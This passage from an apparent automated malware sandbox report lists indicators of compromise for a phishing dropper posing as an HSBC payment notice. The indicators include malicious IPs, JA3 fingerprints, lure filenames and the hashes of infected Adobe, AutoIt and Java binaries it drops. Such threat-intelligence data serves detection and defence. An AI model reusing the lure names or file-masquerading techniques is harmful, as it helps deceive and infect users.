	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	New_Order_List.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Request for Quotation_10.12.2024.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	SALARY_RECEIPT.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	FATR98765678000.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	rebirth.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	193.123.195.134
	rPurchaseOrder_PO19202409.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	168.139.191.161
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	138.1.36.103
LIQUIDWEBUS	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	72.52.179.174
	akcqrfutuo.elf	Get hash	malicious	Unknown	Browse	67.225.207.146
	xobftuootu.elf	Get hash	malicious	Unknown	Browse	67.225.254.236
	http://editableslides.co	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	67.227.216.154
	https://bielefelde.de/	Get hash	malicious	Unknown	Browse	72.52.179.174
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	72.52.179.174
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	173.199.128.107
	sora.ppc.elf	Get hash	malicious	Mirai	Browse	69.167.163.83
	x86.elf	Get hash	malicious	Mirai	Browse	173.199.168.208
	https://simplebooklet.com	Get hash	malicious	Unknown	Browse	72.52.250.19
AKAMAI-ASN1EU	http://abercombie.com	Get hash	malicious	Unknown	Browse	23.195.38.175
	https://listafrica.org/Receipt.html	Get hash	malicious	WinSearchAbuse	Browse	23.195.39.65
	ro7MnkIxJk.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	hQ3bNN05F8.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	FtbY5uqGY0.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	x1e7BlMmbl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	8E273IHyAW.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	172.234.222.143
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	165.254.13.47
	https://quiet-sun-5d9f.atmos4.workers.dev/login	Get hash	malicious	Unknown	Browse	23.215.17.144
AKAMAI-ASN1EU	http://abercombie.com	Get hash	malicious	Unknown	Browse	23.195.38.175
	https://listafrica.org/Receipt.html	Get hash	malicious	WinSearchAbuse	Browse	23.195.39.65
	ro7MnkIxJk.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	hQ3bNN05F8.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	FtbY5uqGY0.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	x1e7BlMmbl.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	8E273IHyAW.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106
	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	172.234.222.143
	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	165.254.13.47
	https://quiet-sun-5d9f.atmos4.workers.dev/login	Get hash	malicious	Unknown	Browse	23.215.17.144

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	ST07933.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	New_Order_List.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Price Quotation-01.dqy.dll	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	ORDER-6070Y689_0PF57682456_DECVC789378909740.js	Get hash	malicious	WSHRat, Snake Keylogger	Browse	104.21.67.152
	Hesap_Hareketleri_10122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	E-dekont.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	10122024Hesap hareketleriniz.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	ST07933.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Ref_31020563.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Ref_31020563.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	xUPaeKk5wQ.msi	Get hash	malicious	AteraAgent	Browse	149.154.167.220
	7gBUqzSN3y.msi	Get hash	malicious	AteraAgent	Browse	149.154.167.220
	PO-8776-2024.js	Get hash	malicious	Remcos	Browse	149.154.167.220
	New Order Enquiry.js	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Bunker_STS_pdf.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	Hesap_Hareketleri_10122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.874489194750197
Encrypted:	false
SSDEEP:	24576:uHCAR0ix/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:eCAdLNiXicJFFRGNzj3
MD5:	F37BF169B265A422A92F97A742BFD179
SHA1:	B39625B27493F5AAEE05B458C9A31255D6C6EFC7
SHA-256:	5DD9A7F7E6F95E3FF0AB20AFA59EB12B9843C95DCC4E61E5CFD6982A8444898A
SHA-512:	15F82E90D3DB52E5C0F7BED765CF6E8025AF2F90E7A6569D95F5D3F5D46A9A2237D3B2294A55CF34CB952399540E80A80766153225362758859BE5D5AFC7CCF1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S.~.2.-.2.-.2.-n.G-.2.-n.E-J2.-n.D-.2.-.Z.,.2.-.Z.,.2.-.Z.,.2.-.J%-.2.-.2.-.2.-.[.,.2.-.[I-.2.-.2!-.2.-.[.,.2.-Rich.2.-........................PE..L...g.(c.....................6......&........0....@.................................}b......................................,b..<....p...............................L..8............................L..@............0..,............................text............................... ..`.rdata...8...0...:..."..............@..@.data........p.......\..............@....rsrc....`...p.......f..............@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1450496
Entropy (8bit):	4.81616497624707
Encrypted:	false
SSDEEP:	24576:QC/Kg8/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:kLNiXicJFFRGNzj3
MD5:	92FEE7518D2A379F7FCA054452F0537B
SHA1:	4738E541E5EBC13170C6807D58ACFBF3C5DB2D7F
SHA-256:	B235817CEB82C19B0B7ADFA554A97029E2279D3E09FD86A12D03D41160F31AF8
SHA-512:	7892520F70A40A9E7E2252A70212D6B7AB27C7351F19E4E6DE7DDA68CFCAC8F29BA0ABAE010359DC3CDC27E4B20C7349C9EB0F256A52DE37AB6272B14A85125E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........jZ..9Z..9Z..9...9Q..9...9%..9...9B..9...8r..9...8K..9...8H..9S.x9W..9Z..9..9...8]..9...9[..9Z.\|9[..9...8[..9RichZ..9........PE..L...C.(c.........."......:...........\.......P....@...........................-.....U.......................................$...........0..............................8...............................@............P...............................text...19.......:.................. ..`.rdata...\|...P...~...>..............@..@.data...............................@....rsrc...0...........................@..@.reloc...p...`.......r..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1469952
Entropy (8bit):	4.815369229873829
Encrypted:	false
SSDEEP:	24576:sKdHN/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:5dtLNiXicJFFRGNzj3
MD5:	8173DF87AF97A79C84F478A94348B962
SHA1:	2FFB93C349C9B48D86337DEB9061845176BCE056
SHA-256:	8D350ADA320A11EAA7252F4A797F2A77169C0E487B1D0029EBC07860DEF0DC73
SHA-512:	49DB271304EE3BE1072E20AD906EDDD5D0A49EB48441D031C66FDC160D4710FE3F600CDAC9FAB8FBF4EA856F4DFD6113580301DAC086D20094AE4387A5AC7BF8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9..X...X...X..-....X..-....X..-....X...0...X...0...X...0...X... n..X...X..YX..<1.X..<1...X...Xj..X..<1...X..Rich.X..........................PE..d...G.(c.........."......J...^......Tr.........@.............................0.......Y.... .................................................,........ ..0...............................8............................................`..`............................text....H.......J.................. ..`.rdata.......`.......N..............@..@.data........ ......................@....pdata..............................@..@.rsrc...0.... ......."..............@..@.reloc...`..........................@...................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2203136
Entropy (8bit):	7.64249610374807
Encrypted:	false
SSDEEP:	49152:PK0eqkSR7Xgo4TiRPnLWvJFLNiXicJFFRGNzj3:PK0pR7Xn4TiRCvJF7wRGpj3
MD5:	DFE57CEDDB15F370B3152C892B279183
SHA1:	DE31EBBF378FF3221618311FB06297C36F8136A5
SHA-256:	20AA5248852477BC723FB8609D91448C8B30B37B63F0FB2C62DD889E4B9C8D4E
SHA-512:	8D49A577DD6ED392F1D3D7F5DE6DBD00981C3E3A761F70B14F803EA301B6C237BB3AE0EA51FB3AD19B4AE33F688B5261C8730DBDE821B12DC9699222C88E37F6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................Y;6....Y;4.x...Y;5...........................D......T...........H......H.8.....P....H......Rich...................PE..L...9.(c..........#..................d............@...........................".....4.!..............................................p..X...............................p...............................@...............X............................text.............................. ..`.rdata..$H.......J..................@..@.data....@... ......................@....rsrc........p......................@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2369024
Entropy (8bit):	7.56129387229166
Encrypted:	false
SSDEEP:	49152:DfYP1JsEDkSR7Xgo4TiRPnLWvJFLNiXicJFFRGNzj3:7YPBR7Xn4TiRCvJF7wRGpj3
MD5:	D1DC5F9D4C3746D93A5EB0D7D9E82598
SHA1:	07CD2290D463C31D8AA48F78E8776DBCE410E813
SHA-256:	B41CD35B8B9BF67588D9DF052EB064FBF1A822E96E1844E1220D99BF345F245B
SHA-512:	EAACE981795E25540B9F43B73916A1B24BF8EF641A74F9E42314A6FEF11108DF14A4CAF554B27C564F3D9AE5CCBB63B2F1EDFF6215D514D1500125B4C69FBC15
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<y..x...x...x....~.s....\|......}.a...p..i...p..p...*p..H...q`..z...q`..a...x...s....q..[....qp.y...x...z....q..y...Richx...........PE..d...>.(c..........#..........0......(..........@..............................$.......$... .............................................................X........e...................n..p...................0p..(...0o...............0...............................text............................... ..`.rdata.......0......."..............@..@.data....R...0... ... ..............@....pdata...e.......f...@..............@..@.rsrc...............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1400832
Entropy (8bit):	4.651221550847446
Encrypted:	false
SSDEEP:	24576:XYUcknn/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:XZcknnLNiXicJFFRGNzj3
MD5:	0D98235FCBD601D65E75D7BFE76BFF2B
SHA1:	A57F11F9164729C46B4F182F5D2DF9ADCC6D1ACC
SHA-256:	36E4748406677954D508FD57BFCC30B9A95F8082F4DB418EFEE47C3EA6581124
SHA-512:	5A75A73FEF03835A07F97567869E238C1980921FFD481E162A21EC049559DE3BE7B623C65A7D04676667BC086A4031052AE06163B5B99C8BD158054EA02ABCD1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[m..5>..5>..5>OC.>..5>OC.>..5>OC.>..5>..0?..5>..1?..5>..6?..5>.>..5>..4>..5>.>..5>^.<?..5>^..>..5>..>..5>^.7?..5>Rich..5>........................PE..L.....(c..........................................@..........................P ..............................................%..d....P.................................8...............................@...............t............................text.............................. ..`.rdata...^.......`..................@..@.data...l....0....... ..............@....rsrc.......P.......*..............@..@.reloc...p..........................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1640448
Entropy (8bit):	7.159472259252879
Encrypted:	false
SSDEEP:	49152:456AqSPyC+NltpScpzbtvpJoMQSq/jrQaSJLNiXicJFFRGNzj3:LSktbpn7wRGpj3
MD5:	6A02DD3E16D7A89D052D45B7D6A25BEF
SHA1:	1DB101B08732C4770DB7BE40606F062DA58D4381
SHA-256:	B16ECC67F10F27E068A4B5ED61E4709F0D0DB1151AC4DBCD36F0EB59C4FC7771
SHA-512:	4A025B5B7D5131248F4AC7D04A19AB02F1A6ADAAEC920BED46ED1177B0E782DC67E9E03CCD20FE1CF1E85A4617AE9774686FC446CEC7D3D8BC357B8CEA33ADD8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......}0tp9Q.#9Q.#9Q.#...#,Q.#...#.Q.#...#.Q.#...#8Q.#k9.".Q.#k9."(Q.#k9."1Q.#0).#1Q.#0).#8Q.#0).#.Q.#9Q.#.S.#.8."hQ.#.8."8Q.#.8.#8Q.#9Q.#;Q.#.8."8Q.#Rich9Q.#........PE..d...3.(c.........."......H...*.......Z.........@.....................................b.... ...@...............@..............................l..\|.......P....P...o.................. .......................p...(...@................`..8............................text...<G.......H.................. ..`.rdata..\|B...`...D...L..............@..@.data... ........P..................@....pdata...o...P...p..................@..@.rsrc...P............P..............@..@.reloc...............(..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2953728
Entropy (8bit):	7.089738687162478
Encrypted:	false
SSDEEP:	49152:HGSXoV72tpV9XE8Wwi1aCvYMdjluS/fYw44RxLWLNiXicJFFRGNzj3:v4OEtwiICvYM3f27wRGpj3
MD5:	F0AB07BD403DA7E7BFACE74A65A2BA5B
SHA1:	42A24F30A4CCA3F9B04F847EF8A1B5F1B8F161A1
SHA-256:	0A973128642684E3AA3ECBB150179EEDAA9A3AD3B3BC41CD2480AD1951DFECBD
SHA-512:	787870CDDE114C05F0260C3C3DC12A0D1450F86C2C5879D7A3C5E203C34FC28E5B48888039DF554304A884AAF5247A1FA48907E8A344A2616DC5FCB0E9A03B79
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~....................@..........................P-......z-.............................p...<............@ .............................@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1641472
Entropy (8bit):	5.075016436883043
Encrypted:	false
SSDEEP:	24576:VAMvR+3kMbVjhh/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:SE+lbVjhhLNiXicJFFRGNzj3
MD5:	AEFE5250CCFA87E82896BFAF8F4EF72D
SHA1:	5F316FACB42636E053E801292F901B8DC7590807
SHA-256:	B827F0107CA3F045C50F3DD92411489799AEED5665A1B675C0ECA8E6CE74DB9E
SHA-512:	E0849F174D98502A05F009014D243853F94031DDF54F0AD15E53379E90E4AB046031A7BBD1A369928B3FF477D840818FD95B076D70B0286D34FF1594E72E19D6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4...Uu..Uu..Uu..=v..Uu..=q..Uu..=p.pUu..=s..Uu..8q..Uu..8v..Uu..8p.@Uu.....Uu..=t..Uu..Ut..Wu.Z;p..Uu.Z;...Uu..U...Uu.Z;w..Uu.Rich.Uu.................PE..L......d.................N...P...............`....@.......................... $..............................................`..@.......(...............................T...............................@............`..L............................text...zL.......N.................. ..`.rdata.......`.......R..............@..@.data...\D...........p..............@....rsrc...(...........................@..@.reloc...............<..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Process:	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1445888
Entropy (8bit):	4.8101812302100875
Encrypted:	false
SSDEEP:	24576:rxGBcmlF/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:FGy+FLNiXicJFFRGNzj3
MD5:	423F1F6668442F29DF26625C3F1F2479
SHA1:	B806982B875EF90D605AB870CEEE90F3A010D708
SHA-256:	73923FCC7BA205BB632A7DE06F1050266D2EEA0BF8F6FB7219F7FCABDCE8C522
SHA-512:	B75AAA01EA5DB7363170DC8581812877FDC69880899203AD4213E0A09C46276A2BAE17EAD5BE6D52FEECA20D61409BABFC2B1045359E50C297B4F6826805CA8F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...3...3...3...0...3...6.h.3.,.7...3.,.0...3.,.6...3...7...3...2...3...2.G.3.e.:...3.e....3.....3.e.1...3.Rich..3.................PE..L...}..d..........................................@...........................!.............................................`D......................................@...p...........................p...@....................B.......................text.............................. ..`.rdata..t...........................@..@.data........`.......@..............@....didat..4............N..............@....rsrc................P..............@..@.reloc...p...........`..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1800192
Entropy (8bit):	5.3021708613232725
Encrypted:	false
SSDEEP:	24576:B0vHyTLj8trn3ws3/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:0Wj4rgs3LNiXicJFFRGNzj3
MD5:	601631AC73B2657C8484C7B8ACD72744
SHA1:	3CACE0C96BBCCE24857B4CEEB113AF34CCC36989
SHA-256:	822C79DEB418579EB1165C636D7B27D3AE09E29BAD2F3F7BC2BDA5E12B48A08E
SHA-512:	5E132A5463F5608F413F1098CE7AE23AD3319848954DFBDDA143F7C74B0CC9D42F699BA39350DA377E02480AFFEF3C039F66B73E87F2222477B1FFA3867F6191
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g=H(#\&{#\&{#\&{77%z2\&{77#z.\&{A$.{"\&{A$"z1\&{A$%z5\&{A$#zu\&{77"z;\&{77 z"\&{77'z4\&{#\'{.\&{.%"z$\&{.%#z.\&{.%.{"\&{#\.{!\&{.%$z"\&{Rich#\&{........PE..L.....d............................7........0....@..........................p&......9......................................<........P...\|..........................0m..............................pl..@............0..t............................text...?........................... ..`.rdata.......0......................@..@.data....3....... ..................@....rsrc....\|...P...~..................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1781760
Entropy (8bit):	7.271336010967807
Encrypted:	false
SSDEEP:	49152:B4ijwGJra0uAUfkVy7/ZmLNiXicJFFRGNzj3:BNjwGJrakUQyw7wRGpj3
MD5:	3644900F23B4B044A117CC0C340482A8
SHA1:	9B7A6CDFC91678FC31BF4A991BC0764E2B57996E
SHA-256:	0E65536F92924A2A57448D3528E0A78263EBB79FF61CCF5B666FC5206F20434F
SHA-512:	341E8210BA1A6C381314E3753057AED0B0DD9D791739F9294853EFD76FB1CC07D55F1B5FC84C9C184FA25ED4A26C95C23C0913324A48BAB7133D5B9AADB8EBEC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$...................................p.....l.......................................................<......<....<.n.............<......Rich............................PE..L.....d.................:...*...............P....@.................................z...........................................,.......................................................................@............P...............................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data...PG...0...2..................@....rsrc................D..............@..@.reloc...p.......`..................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1318400
Entropy (8bit):	7.4383605944119875
Encrypted:	false
SSDEEP:	24576:LeR0gB6axoCxyR6RLQRF/TzJqe58BimZ/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:FgHxWR6uBTzge5MimZLNiXicJFFRGNzb
MD5:	CF3995E1B49C54199D91B11F24808B8A
SHA1:	3D42E1EE91679591171AF0BCED57AC270609E7B9
SHA-256:	F4057370B95922B8540AB9D40F92D5736C19803AC605D393166AF02B39F89942
SHA-512:	5606A6C2C74A9B7D7954CDFABBAFDF1A92B0FA539246038751CD67078B53455BFDFF8ADD99A536D213A885DFA17054AA848FB95C93DF76695B6D20BBB85CD316
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........r.b.!.b.!.b.!... .b.!... xb.!..1!.b.!... .b.!... .b.!... .b.!... .b.!... .b.!... .b.!.b.!.c.!?.. .b.!?.. .b.!?.3!.b.!.b[!.b.!?.. .b.!Rich.b.!........PE..L.....d..........................................@..........................`...... .......................................t$.....................................`T...............................S..@............................................text...L........................... ..`.rdata..0Z.......\..................@..@.data...8<...@...(...&..............@....rsrc...............N..............@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.994897716042273
Encrypted:	false
SSDEEP:	24576:kpwOtO7H/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:kmOtmHLNiXicJFFRGNzj3
MD5:	ACA0546EDCA38ACADBEBE503AB3B46F9
SHA1:	F8AF0B198653F37A0A1EE254E209DC57BD8940A5
SHA-256:	78D8A5E9C9D4F0D0DDC6F0ECF82C0AE1DC69F28891BF50F507018E4D4C9F3851
SHA-512:	B34906C902F77C2A0BA3EFB0D6BF3BCB9F45EAD07CEC283F27F844284A1F92366A907DEB75C5935F766E4A31D49229FC95F0D3E503714A7CDCD5379117349F85
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x..F<...<...<...(..3...(......(......^.F.;...^......^......^..)...(..5...<...N......3.....D.=......=...Rich<...........................PE..L.....d.................N...t....../........`....@..........................P"..............................................!..d....P..............................P...T...............................@............`...............................text...\M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc........P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1530880
Entropy (8bit):	4.995594843201295
Encrypted:	false
SSDEEP:	24576:5KU/h/4KU/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:5r/VULNiXicJFFRGNzj3
MD5:	7FF1545300ACB830F5318AB6E28EBB3A
SHA1:	E6247C90B8170398E3DEDD861CA0606F9AB5A81C
SHA-256:	89D031210375622AC960CF21C39DC1C5ADF88B482B1CC7AF1A69028C2491F6E6
SHA-512:	F473B833D811DE9C9B0CC38C1CCBBF43F5367D6E3FA4E43D696F1C0205AB1AF8A123FDCB02F9AF7C99B288D90861491C8D15FFC53B8107E692102B4B76CBBB29
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..#}..p}..p}..pi.qr..pi.q..pi.qo..p..}pz..p..qX..p..qo..p..qh..pi.qt..p}..p...p..qr..p...p\|..p..q\|..pRich}..p........................PE..L.....d.................N...t......7........`....@..........................P".....4y.......................................!..d....P.............................P...T...............................@............`...............................text....M.......N.................. ..`.rdata..@....`.......R..............@..@.data........0......................@....rsrc.......P.......*..............@..@.reloc...p..........................@...........................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
